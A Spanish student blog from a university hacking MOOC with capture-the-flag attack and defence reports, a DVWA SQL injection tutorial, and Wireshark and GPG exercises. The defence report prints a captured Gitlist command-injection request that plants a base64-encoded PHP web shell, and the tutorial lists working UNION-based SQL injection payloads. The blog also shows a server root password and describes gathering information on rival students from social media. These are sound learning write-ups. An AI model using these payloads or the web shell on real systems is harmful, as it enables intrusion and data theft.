jueves, 5 de noviembre de 2015

Tarea Final - Fase de ataque

Obtención de banderas de otros equipos

La estrategia para obtener las banderas de los equipos contrarios se ha basado en dos aspectos. Por una lado recopilar información de los equipos con las direcciones IP dadas por la organización mediante las herramientas nessus y nikto; y por otro, recabar información de los miembros de los otros equipos a través de sus perfiles en facebook, el foro de la universidad, y sus blogs.

El siguiente es un listado de las banderas obtenidas:

ServerbanderaVulnerabilidad
188.166.57.61 mooc-hacking-team-0076-level-02.gpg FTP Anonymous
188.166.89.6 mooc-hacking-team-0067-level-02.gpg FTP Anonymous
188.166.115.188mooc-hacking-team-0069-level-02.gpg FTP Anonymous
178.62.246.186mooc-hacking-team-0071-level-02.gpg FTP Anonymous
128.199.45.234 mooc-hacking-team-0072-level-02.gpg FTP Anonymous
178.62.247.193 mooc-hacking-team-0074-level-02.gpg FTP Anonymous
178.62.248.200 mooc-hacking-team-0075-level-02.gpg FTP Anonymous
188.166.78.208 mooc-hacking-team-0077-level-02.gpg FTP Anonymous
188.166.79.215 mooc-hacking-team-0078-level-02.gpg FTP Anonymous
178.62.205.101 mooc-hacking-team-0059-level-01.gpg directory listing
178.62.205.101 mooc-hacking-team-0059-level-02.gpgFTP Anonymous
188.166.17.239 mooc-hacking-team-0060-level-02.gpg FTP Anonymous
188.166.64.87 mooc-hacking-team-0061-level-02.gpg FTP Anonymous
128.199.41.183 mooc-hacking-team-0063-level-02.gpg FTP Anonymous
188.166.70.129 mooc-hacking-team-0064-level-02.gpg FTP Anonymous
188.166.73.150 mooc-hacking-team-0065-level-02.gpg FTP Anonymous
178.62.248.113 mooc-hacking-team-0044-level-02.gpg FTP Anonymous
188.166.102.65 mooc-hacking-team-0051-level-02.gpg FTP Anonymous
188.166.106.93 mooc-hacking-team-0052-level-02.gpg FTP Anonymous
188.166.107.100 mooc-hacking-team-0053-level-02.gpg FTP Anonymous
188.166.125.226 mooc-hacking-team-0055-level-02.gpg FTP Anonymous
128.199.62.241 mooc-hacking-team-0025-level-02.gpg FTP Anonymous
178.62.229.236 mooc-hacking-team-0035-level-02.gpg FTP Anonymous
188.166.6.83 mooc-hacking-team-0016-level-02.gpg FTP Anonymous
128.199.48.121 mooc-hacking-team-0003-level-02.gpg FTP Anonymous
188.166.93.179 mooc-hacking-team-0010-level-02.gpg FTP Anonymous
178.62.202.80 mooc-hacking-team-0058-level-02.gpg FTP Anonymous

Finalmente no se ha usado la información antes expuesta para la captura de las banderas; sino que básicamente lo que se ha hecho es aprovechar el usuario anónimo del svftp para descargar la bandera 2 de un total de 26 servidores.

Conclusiones

El objetivo del reto de conseguir las banderas enemigas se ha conseguido parcialmente. Se ha capturado una bandera de tipo 1 mediante la vulnerabilidad de directory listing; y se han obtenido 26 banderas de tipo 2 aprovechando el usuario anonimo del svftp.

Además se ha recolectado bastante información (facebook, foro y blogs) sobre los equipos contrarios que al final no ha sido empleada en la fase de ataque.

Tarea final - Fase de Defensa

Actividad Unidad III : El Reto

Grupo: Los Yodas Disléxicos 31/10/2015


Índice

Actividad Unidad III : El Reto 1

1. Preliminares

Este informe es la respuesta al reto propuesto para la Universidad Mondragón para defender el servidor asignado a nuestro equipo, y atacar los servidores del resto de equipos del curso.

Nuestro equipo ha escogido el nombre de “Los yodas disléxicos”.

El servidor asignado al equipo es una máquina virtual con los siguientes datos:

Nombre de equipo
Sistema operativo Debian Wheezy de 32
Dirección IP pública 188.166.108.50
Usuario administrador Root
Contraseña de usuario administrador 6d1d2a9eaa6c6e1359de357bc52873
Acceso remoto Via ssh por el puerto por defecto

El reto tiene como objetivos principales el defender el propio servidor para evitar intrusiones que faciliten la obtención de nuestras banderas; y al mismo tiempo atacar a los equipos contrarios para conseguir las suyas. El término inglés para designar este tipo de ejercicio es CTF (Capture The Flag). Las tareas para llevar a cabo estos dos objetivos se pueden dividir en los siguientes puntos:

  1. Estudio y análisis del servidor asignado al equipo
  2. Protección del servidor frente a los atacantes
  3. Estudio y análisis de los servidores contrarios.
  4. Obtención de las banderas de los equipos contrarios

Las banderas a defender son las siguientes:

  • Flag 1: /usr/share/doc/base-files/mooc-hacking-team-0029-level-01.gpg
  • Flag 2: /srv/ftp/mooc-hacking-team-0029-level-02.gpg
  • Flag 3: /var/lib/mysql/mooc-hacking-team-0029-level-03.gpg

2. Herramientas empleadas

Durante el estudio de los servidores se han empleado las siguientes herramientas y comandos Linux.

  • ls: Es un comando básico de Unix/Linux que facilita el listado de los ficheros y directorios del disco duro de un equipo.
  • dpkg: Es una de las herramientas de Linux más habituales para la gestión de paquetes o utlidades Linux. Sirve para instalar, desinstalar, y consultar información sobre paquetes.
  • debsums: Se trata de una herramienta que permite conocer la integridad de los paquetes Linux instalados. Es decir, se asegura de que no hayan sido manipulados por un atacante. Esta utilidad realiza la comprobación evaluando los checksum MD5 de los paquetes.
  • netstat: Es una comando básico de Linux que proporciona información de las conexiones de red activas de un equipo.
  • Nmap: Es una utilidad de código abierto que sirve para la exploración de los equipos de una red. Como resultado de su análisis se obtiene distinta información útil para la realización de auditorías de seguridad como listado de puertos abiertos, versión del sistema operativo, o dirección MAC.
  • Nikto: Es una herramienta de análisis de servidores web que proporciona gran cantidad de información para la realización de auditorías. Es muy útil para encontrar vulnerabilidades, y malas configuraciones.
  • Nessus: Es una de las aplicaciones de escaneo de vulnerabilidades más utilizadas. Aunque en principio fue de uso libre, ahora la versión completa es de pago. Nessus es capaz de obtener malas configuraciones, contraseñas por defecto. El análisis comienza haciendo un escaner de puertos; y a continuación intenta atacar a los que estén abiertos.
  • RkHunter. Es una utilidad Linux Open Source que detecta rootkits, puertas traseras y otros tipos de malware. Además comprueba la configuración de algunos ficheros importantes como el passwd.
  • Base de datos de Vulnerabilidades CVE: http://cve.mitre.org/

3. Estudio, y análisis del servidor team-029

Con el objeto de defender adecuadamente el servidor, se han realizado dos tipos de estudios. En primer lugar, desde el interior del mismo, es decir, abriendo sesión mediante ssh; y en segundo lugar también se ha examinado su exposición en Internet a través de sus aplicaciones web y sus puertos de red abiertos. En la investigación interna se han acometido las siguientes tareas

  • Obtención de ficheros clave
  • Inventario de paquetes de software instalados
  • Búsqueda de vulnerabilidades de software
  • Obtención de ficheros log
  • Listado de servicios activos
  • Listado de puertos de red abiertos

3.1.Ficheros clave

Ciertos ficheros de configuración Linux son importantes a la hora de estudiar la seguridad de un servidor. Por una parte dan información de cómo es la configuración del equipo; y por otra, son los ficheros que un atacante intenta vulnerar para hacerse con el control del mismo. A continuación se identifican las características de los ficheros clave extraídos para el estudio de este caso

  • /etc/issue : Contiene información de la versión de sistema operativo; que en este caso es Debian GNU Linux 7
  • /etc/hostname :Incluye el nombre del equipo: team-0029
  • /etc/fstab :Identifica el tipo de sistema de ficheros y otra información del disco duro. Este equipo tiene un solo disco con etiqueta DOROOT; está montado en el la raíz del disco ( / ), y es de tipo ext4.
  • /etc/hosts : Incluye el nombre de los equipos y direcciones IP asociados para realizar una resolución de nombres local. Este servidor tiene dos entradas, una para el localhost, y otra con el nombre del equipo team-029. El fichero tiene los permisos adecuados; y ha sido modificado por última vez el 6 de octubre de 2015
  • /etc/network/interfaces: Contiene el tipo de direccionamiento de red. En este caso se define para el equipo la dirección estática 188.166.108.50. Se observa que el equipo por el que sale a Internet es el 188.166.64;y como servidores de resolución de nombres tiene los de las siguientes direcciones IP: 8.8.8.8 y 8.8.4.4.1. El fichero tiene los permisos adecuados; y ha sido modificado por última vez el 6 de octubre de 2015.
  • /etc/host.conf :En este fichero se configura cómo debe comportarse la resolución de nombres. En el servidor team-029 el valor es “multi on”. Lo cual indica que serán válidos todas las direcciones de /etc/hosts. El fichero tiene los permisos correctos, y no ha sido modificado posteriormente a la instalación del sistema operativo.
  • /etc/passwd : En el fichero de contraseñas de usuario se observan los usuarios por defecto de la distribución de Linux Debian, más los usuarios creados por la instalación de algunas aplicaciones como son: mysql, vsftpd, y clamav. El fichero tiene los permisos adecuados, y fue actualizado por última vez el 10 de Octubre de 2015.
  • /etc/group : En el fichero de grupos de usuario se observan los grupos por defecto de la distribución de Linux Debian, más los grupos creados por la instalación de algunas aplicaciones como son: mysql, vsftpd, y clamav. El fichero tiene los permisos adecuados, y fue actualizado por última vez el 10 de Octubre de 2015.
  • /etc/profile, /root/.bashrc, /root/.profile, Incluyen los scripts por defecto que se ejecutan al iniciarse una sesión bash. Los ficheros contiene los permisos adecuados; y no han sido modificados tras la instalación del sistema operativo. En caso de que estos ficheros hubieran sido atacados podrían incluir comandos con operaciones ilegítimas.
  • /etc/crontab : Permite ejecutar tareas programadas. El fichero contiene las tareas por defecto que se incluyen de origen. El fichero tiene los permisos adecuados; y no ha sido modificado tras la instalación del sistema operativo.

3.2.Puertos abiertos del servidor

La exposición en Internet del servidor se ha analizado con la herramienta nmap. El resultado obtenido es el siguiente:

PuertoServicioSoftwareEvidencias
21/tcp ftp Vsftpd 2.3.5 ftp-anon: Anonymous FTP login allowed
22/tcp Ssh OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
80/tcp Http Apache httpd 2.2.22 http-methods: GET HEAD POST OPTIONS

Como se ve en la tabla anterior, se han encontrado 3 puertos abiertos. El puerto 21 corresponde con el servicio de transferencia de archivos, en el que se observa que está habilitado el usuario anónimo; y que hay acceso a la bandera 2 sin permisos; y a un segundo fichero con permisos de lectura. El puerto 22 corresponde al servicio de acceso remoto por ssh al servidor; y se pueden ver las fingerprints/hashes de las claves públicas del servidor. El puerto 80 es usado por el servidor Apache; el cual admite los métodos GET, HEAD, POST y OPTIONS.

3.3.Inventario de paquetes instalados

Los paquetes instalados en el servidor son en su mayoría software que se instala por defecto con la distribución Debian; pero hay algunos instalados a posteriori. De todos ellos se han estudiado los que tienen mayor número de vulnerabilidades conocidas.

Nombre Version Observaciones Vulnerable Ident. Vuln Acción Observaciones
Kernel 3.2.0-4- NO
Apache 2.2.22- NO
MySQL 5.5.44- NO
Perl 5.14.2- NO
PHP 5.4.45- NO
Python 2.7.3Incluye soporte SOAP NO
Open SSH 6.0p1-4+deb7u2- NO
Open SSL 1.0.1e-2+deb7u17Inclye mdulos Apache, Mysql, y Snmp NONO, 0.8.8a+dfsg-
cacti 5+deb7u2- SI
Gitlist 0.4.0- SI5.4.3~dfsg-2.8+deb7u1 SI CVE-2015-5621
vsftpd 2.3.5.3- SI
vsftpd 2.3.5.3- SI
w3m 0.5.3.8- NO

3.4. Vulnerabilidades encontradas

Como se puede ver en la tabla del apartado anterior, se han encontrado cuatro paquetes vulnerables: Cacti,Gitlist, snmp, y vsftpd

Para la búsqueda de vulnerabilidades se han empleado las bases de datos: CVE-mitre, CERTSI y Debian Security Tracker.

El dia 9 de octubre se aplican actualizaciones para Cacti y Gitlist. El bug de snmp no tiene actualización publicada hasta la fecha, por lo que queda vulnerable. No obstante, el servicio snmp no está configurado ni está activo en el servidor; por lo que no se aprecia riesgo inminente.

Para el paquete vsftpd la vulnerabilidad CVE-2015-1419 indica que hay un bug al parsear la opción deny_file, y que se ajusta en la versión Debian 9 (strech); por tanto se revisa el fichero de configuración /etc/vsftpd.conf, y se observa que esta opción no está siendo usada; por lo que se decide no realizar ninguna acción de actualización.

Por otro lado, aunque el vsftpd está configurado para permitir el acceso anónimo, se deja así por considerar que configuración viene dad por la organización, y no se debe corregir.

Las versiones del software han quedado de esta forma:

  • Cacti 0.8.8a+dfsg-5+deb7u6.
  • Gitlist 0.5.0
  • Snmp 5.4.3~dfsg-2.8+deb7u1
  • vsftpd 2.3.5.3

Adicionalmente se ha empleado el escáner de vulnerabilidades Nessus; el cual ha encontrado dos posibles vulnerabilidades.

  • CVE-2006-0987. Indica que a través del puerto UPD 53 se podría usar para realizar un ataque de denegación de servicio. Esta vulnerabilidad afectaría al servidor en el caso de que estuviese configurado como servidor DNS, pero este no es el caso. Se podría reforzar la seguridad cerrando el puerto puesto que no está siendo usado. El servidor sólo usa el cliente DNS, y tiene direccionamiento estático. Por tanto no se realiza ninguna acción.
  • CVE-2008-5161. Avisa de que el servidor ssh soporta el método de cifrado débil CBC. Se revisa la configuración del servidor ssh (/etc/ssh/ssh_config), y se comprueba que no usa este modo.

3.5.Ficheros log

Se analizan los ficheros log en busca de posibles ataques al servidor durante los días del reto ( 6 a 20 de octubre).

Se estudian el log de Apache, el log de cacti, el log del sistema, y el log del servidor ftp.

Log del servidor Apache

Analizados los ficheros access.log de Apache se observa la descarga por parte de otros equipos de distintas banderas.

Dirección IP Propietario Fecha Comando
190.129.234.171 Desconocido 07/Oct/2015:12:44:55 GET
46.24.32.68 Desconocido 08/Oct/2015:14:48:13 GET /gitlist/cache/x.php?cmd=more%20/srv/ftp/mooc-
46.24.32.68 Desconocido 08/Oct/2015:14:48:49 GET
81.39.186.9 Desconocido 09/Oct/2015:16:14:56 GET

En la tabla anterior se puede ver que los días anteriores a la fase de ataque tres atacantes lograron las banderas 1 y 2 mediante una vulnerabilidad de la aplicación Gitlist.

En el fichero access.log.2 se observa la siguiente linea el dia 7:

190.129.234.171 - - [07/Oct/2015:12:44:08 +0000] "GET /gitlist/gitlist/blame/master/%22%22%60echo%20PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo%3D%7Cbase64%20-d%20%3E%20/var/www/gitlist/cache/x.php%60 HTTP/1.1" 500 2188 "-" "Wget/1.15 (darwin14.1.0)"

Esta linea es el resultado del comando wget con un argumento ofuscado; que si se decodifica se obtiene:

/gitlist/gitlist/blame/master/””`echo PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo=|base64 -d > /var/www/gitlist/cache/x.php`

Aquí vemos que el atacante ha subido el fichero x.php a la carpeta /var/www/cache de nuestro servidor .

Para saber qué contiene el fichero x.php decodificamos el argumento del comando echo con base64 y se obtiene


Este script permite la ejecución de código remoto. El atacante consiguió la bandera 1 con el comando también indicado anteriormente en la tabla:

190.129.234.171 - - [07/Oct/2015:12:44:55 +0000] "GET /gitlist/cache/x.php?cmd=cat%20/usr/share/doc/base-
files/mooc-hacking-team-0029-level-01.gpg

Este ataque lo descubrimos el dia 9 de octubre,y se tomaron las siguientes acciones:

  • Eliminación del fichero /var/www/gitlist/cache/x.php
  • Actualización de Gitlist a 0.5.0

Respecto a la bandera 1, parece que sólo la consiguieron tres personas antes de la actualización del servidor, y antes de la semana de ataque. Por tanto podemos decir que protegimos correctamente el servidor para evitar su captura.

La bandera 2 fue obtenida por un atacante mediante la vulnerabilidad del Gitlist; aunque la mayoría la obtuvieron mediante la vulnerabilidad del ftp que permite el acceso con el usuario anonymous.

Log de Cacti

En los ficheros cacti.log y cacti.log.1 se advierten errores de SQL entre los dias 14 y 18 de octubre. El dia 14 se detecta que la IP 190.203.204.127 (geolocalizada en Caracas) intenta ejecutar con error sucesivamente la sentencia:

Error:'1062', SQL:INSERT INTO user_log (username,user_id,result,ip,time) VALUES ('Joey',0,0,'190.203.204.127',NOW())

El dia 18 se detecta que la IP 80.103.124.104 (geolocalizada en Placencia de las Armas) intenta ejecutar distintas sentencias SQL sucesivamente similares a esta:

Error:'1062', SQL:INSERT INTO user_log (username,user_id,result,ip,time) VALUES ('Joey',0,0,'80.103.124.104',NOW())

Aunque se produce error, se observa en la tabla user_log que se ha producido el SQL injection porque se han insertado valores:

/Windows\\system.ini | 0 | 2015-10-14 17:06:22 | 0 | 190.203.204.127 |

\\etc/passwd | 0 | 2015-10-14 17:06:23 | 0 | 190.203.204.127 |

 -- EXEC cmd \ ls /\ -- | 0 | 2015-10-14 17:09:00 | 0 | 190.203.204.127 |

Joey\ UNION SELECT 8 table_name \vega\ FROM info | 0 | 2015-10-14 17:51:39 | 0 | 190.203.204.127 |

Joey\ UNION SELECT 8 table_name \vega\ FROM inf | 0 | 2015-10-18 13:18:23 | 0 | 80.103.124.104 

Joeybogus Vega-Inject:bogus | 0 | 2015-10-18 13:18:24 | 0 | 80.103.124.104 |

Como conclusión podemos decir que aunque se actualizó cacti el dia 9 de octubre, posteriormente se han producido ataques a mediante SQL injection a la base de datos de cacti; por lo que ésta no se había protegido adecuadamente.

Log del servidor FTP

A continuación se muestra una relación con las primeras descargas de archivos

Dirección IP Propietario Fecha Fichero

190.129.234.171 Desconocido Tue Oct 6 17:35:16 mooc-hacking-team-0029-level-
2.137.86.92 Desconocido 1 Tue Oct 6 22:08:56 mooc-hacking-team-0029-level-
62.97.98.133 Desconocido Wed Oct 7 09:34:21 mooc-hacking-team-0029-level-
87.217.107.35 Desconocido Thu Oct 8 06:06:02 mooc-hacking-team-0029-level-
46.24.32.68 Desconocido Thu Oct 8 14:30:14 mooc-hacking-team-0029-level-
165.182.186.140 Desconocido Thu Oct 8 18:12:26 mooc-hacking-team-0029-level-
77.230.90.203 Desconocido Thu Oct 8 20:11:38 /etc/passwd Fail download
146.66.253.148 Desconocido Tue Oct 13 09:50:49 mooc-hacking-team-0029-level-
188.78.181.171 Desconocido Tue Oct 13 09:51:08 mooc-hacking-team-0029-level-
5.134.35.1 Desconocido Tue Oct 13 10:10:21 mooc-hacking-team-0029-level-
89.140.174.98 Desconocido Tue Oct 13 10:11:25 Mooc-hacking-team-0029-level-
179.25.207.182 Desconocido Tue Oct 13 10:12:13 Mooc-hacking-team-0029-level-
193.146.78.93 Desconocido Tue Oct 13 10:16:39 Mooc-hacking-team-0029-level-
46.24.32.68 Desconocido Tue Oct 13 10:18:14 Mooc-hacking-team-0029-level-
95.22.163.48 Desconocido Tue Oct 13 10:28:50 Mooc-hacking-team-0029-level-
193.146.78.97 Desconocido Tue Oct 13 10:30:54 Mooc-hacking-team-0029-level-
46.24.32.68 Desconocido Tue Oct 13 10:33:14 Mooc-hacking-team-0029-level-

En los ficheros logs analizados, se observa lo siguiente:

  • La primera semana, aunque no estaba dentro de las reglas del reto, hay participantes que se descargan nuestra bandera.
  • A partir de las 10 de la mañana del dia 13 de octubre los participantes del Mooc comienzan a descargarse la bandera 2
  • Los dias de más actividad de descarga son el 13 y 14 de octubre. Terminando las descargas el dia 20 a las 18:22
  • No se consiguió proteger la bandera 2 dado que los atacantes la estuvieron descargando hasta el último día mediante el usuario anonymus del ftp

3.6.Comprobación de existencia de malware

Para asegurarnos que no tenemos malware alojado en el servidor, o que éste ha afectado a los principales ficheros del sistema se han empleado las herramientas debsum, y rkhunter.

Debsums

El 9 y el 26 de octubre se ejecuta debsums con el mismo resultado. Están todos los ficheros OK, excepto estos:

  • /usr/share/cacti/site/cdef.php FAILED
  • /usr/share/cacti/site/lib/api_device.php FAILED
  • /etc/sysctl.conf FAILED
  • /etc/vsftpd.conf FAILED

El mensaje de fallo en los dos ficheros de cacti indican que esos ficheros, que pertenecen al runtime de cacti han sido modificados. La modificacion es para la aplicación de un parche de Cacti que posteriormente no funcionó. Se trata de falsos positivos.

El mensaje de fallo en los ficheros .conf suelen ser falsos positivos y no debe tenerse en cuenta. Por tratarse de ficheros de configuración es normal que se hayan modificado después de la instalación de los paquetes. De cualquier forma habría que asegurarse de cuales han sido los cambios concretos en estos ficheros

Rkhunter/p>

Se ha ejecutado el programa los dias 10, 13 y 14 con el mismo resultado:

System checks summary
=====================
File properties checks...
 Files checked: 135
 Suspect files: 1

Rootkit checks...
 Rootkits checked : 307
 Possible rootkits: 0

Applications checks...
 All checks skipped

El fichero sospechoso es /usr/bin/unhide.rb. Se trata de un falso positivo porque siendo un programa ruby está alojado en /usr/bin donde suelen ser la mayoria ejecutables binarios.

Conclusión

La protección del servidor en defensa se mejoró a partir del día 9 de octubre con las actualizaciones de cacti y gitlist. Esto no eliminó la vulnerabilidad de SQL Injection de Cacti que se observa en sus logs; y que ha tenido éxito insertando registros en la BD cacti. Se adjunta al informe el volcado de la BD donde se observan los registros implicados.

No se ha podido impedir que los equipos contrarios se descargaran la bandera 2 a través del svftp; hecho que se puede ver en el fichero log de esta aplicación.

domingo, 4 de octubre de 2015

Enigma 1

La siguiente tarea consistía en resolver un "enigma". Para ello se nos daba un fichero cifrado con clave simetrica, es decir, única y se nos daba acceso a un dvwa.

El primer paso que tuve que hacer en el dvwa fue cambiar la seguridad, de high a low.

Una vez hecho esto vemos que nos dan la pista de que lo que necesitamos esta en la tabla "guestbook". Asi que sacamos los campos de dicha tabla:

Luego obtenemos los datos de los campos "comment" y "name":

Vemos que la clave de descifrado era "use the force".

Y por ultimo desciframos el fichero gpg con esa clave:

Nos redirige a una cuenta de facebook, en la que hay que unirse a un grupo y descargarse las instrucciones de las siguientes fases.

Tarea 5

Seguimos las instrucciones del ejercicio e instalamos la máquina virtual con el DVWA:

Una vez hecho probamos las diferentes técnicas de SQL injection. El código fuente PHP pone algo así como esto:

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

Por tanto podemos utilizar técnicas de SQL Injection en él. Por ejemplo:

%' or '0'='0 

haría que la query fuera:

SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';

O sea, mostraría los campos first_name y last_name de todos los usuarios:

Si usamos un SQL injection con:

%' or 0=0 union select null, version() #

Nos mostrará los campos first_name y last_name de todos los usuarios, y al final (union) la version del S.O:

La razón de poner "null" es que siempre tiene que haber dos campos (en este caso).

Si usamos un SQL injection con:

%' or 0=0 union select null, user() #

Nos mostrará los campos first_name y last_name de todos los usuarios, y al final (union) el usuario con el que se ejecuta la base de datos:

Si usamos un SQL injection con:

%' or 0=0 union select null, database() #

Nos mostrará los campos first_name y last_name de todos los usuarios, y al final (union) el nombre de la base de datos:

A partir de aqui comienza lo que se nos pide en la tarea:

%' and 1=0 union select null, table_name from information_schema.tables #

Nos muestra todas las tablas del "information_schema". Aqui ya no muestra los first name y last name (para quitarnos paja), gracias al 'and 1=0')

Con la sentencia:

%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#

Nos muestra todas las tablas que comienzan por "user":

Por ultimo, con algo como esto:

%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #

Usando concat, podemos mostrar más de dos campos de cada vez:

martes, 29 de septiembre de 2015

Tarea 4

PARTE I

Comenzamos la unidad 2 abriendo wireshark para ver una captura de tráfico:

Enunciado: En esta tarea no vamos a realizar capturas en vivo de tráfico, sino que vamos a analizar trazas (capturas) ya realizadas con anterioridad y salvadas en archivos. En este caso, vamos a usar la traza telnet-raw.pcap, del repositorio de capturas disponible en Wireshark.

Preguntas:

  • ¿Qué usuario y contraseña se ha utilizado para acceder al servidor de Telnet?
  • ¿Qué sistema operativo corre en la máquina?
  • ¿Qué comandos se ejecutan en esta sesión?

Respuestas:

Lanzamos Wireshark, abrimos el fichero pcap que nos indican y filtramos por el tráfico telnet como se nos indica. Una vez hecho esto, clicamos con el boton derecho sobre ese tráfico y escogemos la opcion "Follow TCP Stream". Nos sale la siguiente pantalla:

Aqui podemos ver que el nombre de usuario parece ser "ffaakkee" y la contraseña "user". Como vemos abajo que un comando resulta ser "llss", que realmente se trata del comando "ls" de windows, nos damos cuenta de que aparecen las letras duplicadas y que "ffaakkee", realmente se trata del usuario "fake" y la contraseña "user".

En cuanto al sistema operativo vemos algo más abajo que se trata de un Open BSD.

Por ultimo, para ver los comandos lanzados tenemos que hacer un poco de scroll down:

...para ver que se lanzó un :

  • ls
  • ls -a
  • /sbin/ping www.yahoo.com
  • exit


PARTE II: Analizando SSL

Para la realización de este ejercicio, descarga esta traza con tráfico SSL y abrela con Wireshark.

    Preguntas:
  • ¿Puedes identificar en qué paquete de la trama el servidor envía el certificado?
  • ¿El certificado va en claro o está cifrado? ¿Puedes ver, por ejemplo, qué autoridad ha emitido el certificado?
  • ¿Qué asegura el certificado, la identidad del servidor o del cliente?

Respuestas:

Como vemos en esta imagen, es el propio Wireshark el que nos indica la respuesta a la primera pregunta. Vemos el segundo paquete que tiene como origen el servidor y del que Wireshark nos indica "Server Hello, Certificate, Server Hello Done". Ese es el paquete en cuestion:

Al extender la información, vemos el lugar exacto donde va el certificado dentro del paquete.

Para responder a la segunda pregunta, tenemos que hacer, igual que antes, click con el boton derecho sobre el paquete y escoger "Follow TCP Stream". Nos sale esta pantalla:

Como vemos, aqui no entendemos nada. Va casi todo cifrado. La parte azul de principio donde va algo en claro, ese es el certificado. Como vemos el usuario debio visitar www.microsoft.com o alguna web perteneciente a la MSN y propiedad de Microsoft (hotmail, outlook, etc). El certificado, como vemos es de Verisign.

Para la tercera pregunta no hace falta captura de pantalla. El certificado verifica la identidad de la página web, es decir, del servidor.



Parte III. Analizando SSH

Una alternativa a usar Telnet a la hora de conectarnos a máquinas remotas es SSH, que realiza una negociación previa al intercambio de datos de usuario. A partir de esta negociación, el tráfico viaja cifrado. Descarga esta traza con tráfico SSH y...

    Preguntas:
  • ¿Puedes ver a partir de qué paquete comienza el tráfico cifrado?
  • ¿Qué protocolos viajan cifrados, todos (IP, TCP...) o alguno en particular?
  • ¿Es posible ver alguna información de usuario como contraseñas de acceso?

Respuestas:

1.- Como vemos, tras filtrar por "ssh", el tráfico comienza a estar cifrado tras intercambiar los tipos de cifrado soportados, intercambiar las claves públicas y establecer una clave de cifrado para la comunicacion. Es decir, en el paquete 20 de la comunicacion:


2.- El protocolo que viaja cifrado es sólo SSH, de hecho, como vemos, seguimos pudiendo ver (y entender) los paquetes TCP (y dentro de ellos los datagramas IP), sobre los que va el SSH:

3.- No. No es posible, básicamente porque la clave nunca se envia, lo que se intercambian son valores de numeros primos. El proceso es el siguiente:

    SSHv2 Client: Key Exchange Init --> Negociación de algunos parámetros como la compresión o protocolo de cifrado
    SSHv2 Server: Key Exchange Init --> Respuesta al anterior paquete. El servidor indica que tipos de cifrado acepta
    SSHv2 Client: Diffie-Hellman GEX Request --> Negociación de los parametros del cifrado DH (cifrado, mac y compresion)
    SSHv2 Server: Diffie-Hellman GEX key exchange Reply --> Respuesta al anterior 
    SSHv2 Client: Diffie-Hellman GEX Init --> El cliente envia "e" al servidor 
    SSHv2 Server: Diffie-Hellman GEX Reply --> El otro extremo envia "f"
    SSHv2 Client: New Keys --> Posiblemente un ACK. No estoy seguro

Al recibir el mensaje DH_GEX_INIT (que contiene un numero muy largo "e"), el servidor genera su propio numero aleatorio "y", y calcula f = g^y mod p, y le envia "f" al cliente. También calcula k = e^y mod p, que será el valor de la clave secreta compartida. El cliente, al recibir "f" hace lo mismo, usando la formula k = f^x mod p. Si todo va bien, el cliente y el servidor tendrán el mismo valor de k. Con esta clave ambas partes establecen un canal seguro:

A partir de aqui, el tráfico viaja cifrado, y el proceso consiste en el intercambio de claves publicas entre cliente y servidor, la autenticación del usuario SSH, el establecimiento de los canales de datos, etc.

lunes, 28 de septiembre de 2015

Tarea 3

Para hacerlo más simple vamos a seguir los pasos que se indican en el MOOC, usando gpg2, pero hay muchas otras formas de hacerlo.

El primer paso es generar el par de claves publico privadas con

gpg2 --gen-key

Como vemos, nos pregunta el algoritmo de cifrado, el numero de bits de la clave y nos pide que introduzcamos caracteres aleatorios para que generar la clave. Finalmente nos informa de que la clave ha sido creada.

A continuación comprobamos si se ha creado con el comando

gpg2 --list-keys

...lo que nos saca el listado de claves publicas. También comprobamos el contenido de la clave pública, que claro, esta en binario.

A continuación importamos la clave pública del destinatario (que nos ha enviado por correo) con el comando.

gpg2 --import 

Una vez importado, ya deberíamos tener dos claves públicas (no se ve en la imagen), asi que creamos el mensaje (en verde) y lo ciframos (en azul). Como se ve, inicialmente me equivoqué porque hay que usar el nombre interno que vemos con una flecha azul.

Por ultimo comprobamos el fichero recien creado y vemos que esta cifrado:

Ahora ya solo hay que mandarlo al destinatario (eliviv) por correo electrónico.

sábado, 26 de septiembre de 2015

Tarea 2

ENUNCIADO: En esta tarea te proponemos que identifiques tres espacios web relacionados con la temática de este curso. Dos de ellos deben ser sitios que puedan ser considerados relevantes por la cantidad y calidad de recursos que ofrecen sobre Hacking. Pueden ser blogs personales, sitios web de organizaciones, empresas o grupos de usuarios de la red que comparten contenidos de calidad sobre Hacking.

RESPUESTA: Mirando entre mis contactos de Netvibes encuentro:

ENUNCIADO: El tercer sitio web debe ser un espacio de encuentro entre interesados en el Hacking, pueden ser foros, grupos o comunidades en redes sociales, un hashtag en Twitter, etc. en general un sitio donde sea posible interactuar con otros usuarios, hacer preguntas y participar de forma activa en conversaciones.

RESPUESTA: Mirando entre mis contactos de Netvibes encuentro:

Si tengo que escoger dos del primer grupo y otro del segundo, escogería: